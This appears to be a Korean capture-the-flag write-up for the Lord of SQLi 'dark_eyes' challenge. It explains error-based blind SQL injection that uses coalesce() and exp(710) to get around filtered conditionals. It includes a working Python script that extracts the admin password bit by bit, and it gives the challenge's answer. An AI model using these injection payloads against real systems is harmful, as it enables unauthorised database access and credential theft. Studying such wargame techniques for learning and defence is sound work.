문제에 접근해보면 아래와 같이 에러가 발생했을 때 exit() 함수를 호출하는 것을 볼 수 있다.
if(mysqli_error($db)) exit();
그 결과 에러가 발생하면 화면상에 아무것도 출력되지 않는다. 따라서 이를 이용하여 Error based sql injection을 진행할 수 있다.
에러를 발생시키는 것은 이전 포스팅에서 활용한 exp(710) 을 활용하였다.
하지만 조건문에 활용할 수 있는 if문과 case 문이 필터링되어 있어 어떤 식으로 진행할까 하다가 coalesce() 함수를 활용할 수 있음을 확인하였다.
해당 함수는 여러 개의 값을 넣고 첫번째로 null이 아닌 값을 리턴하는 함수임을 알 수 있다. 따라서 첫번째 값인 부분에 SQL 쿼리를 삽입하여 where 조건문으로 조건에 맞지 않는다면 null을 리턴하도록 할 수 있다.
참고 ) https://www.w3schools.com/sql/func_mysql_coalesce.asp
아래는 해당 구문을 이용하여 pw의 길이가 8자임을 확인한 구문이다.
length(pw)가 8이기 때문에 select 1이 동작하여 null이 아닌 1이 출력되었고 때문에 exp(710)이 실행되지 않아 문제 화면이 정상적으로 출력된다.
이제 길이를 확인하였으니 아래의 Python 코드를 이용하여 답을 추출해보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | import urllib2 silnex='' url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php" for chr_l in range(1,9): binary='' for bin_l in range(1,8): param="?pw=1%27+or+id=%27admin%27+and+coalesce((select+1+where+1=mid(lpad(bin(ord(mid(pw,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)),exp(710))--+" req=urllib2.Request(url+param) req.add_header('cookie','PHPSESSID=bhurps2s2o83m5qc9cda7aa71m') if 'config.php' in urllib2.urlopen(req).read(): binary+='1' else: binary+='0' print binary silnex = silnex+('%x' % int(binary, 2)).decode('hex') print "[+] " + silnex print "[+]Flag : " + silnex | cs |
답 : https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=5a2f5d3c
'Solve Problem > LOS' 카테고리의 다른 글
[LOS] EVIL_WIZARD 문제 풀이 (0) | 2019.06.09 |
---|---|
[LOS] hell_fire 문제 풀이 (0) | 2019.06.09 |
[LOS] iron_golem 문제풀이 (0) | 2019.05.26 |
[LOS] 문제풀이 11번 - 20번 (0) | 2019.05.26 |
[LOS] 문제풀이 1번 - 10번 (0) | 2019.05.10 |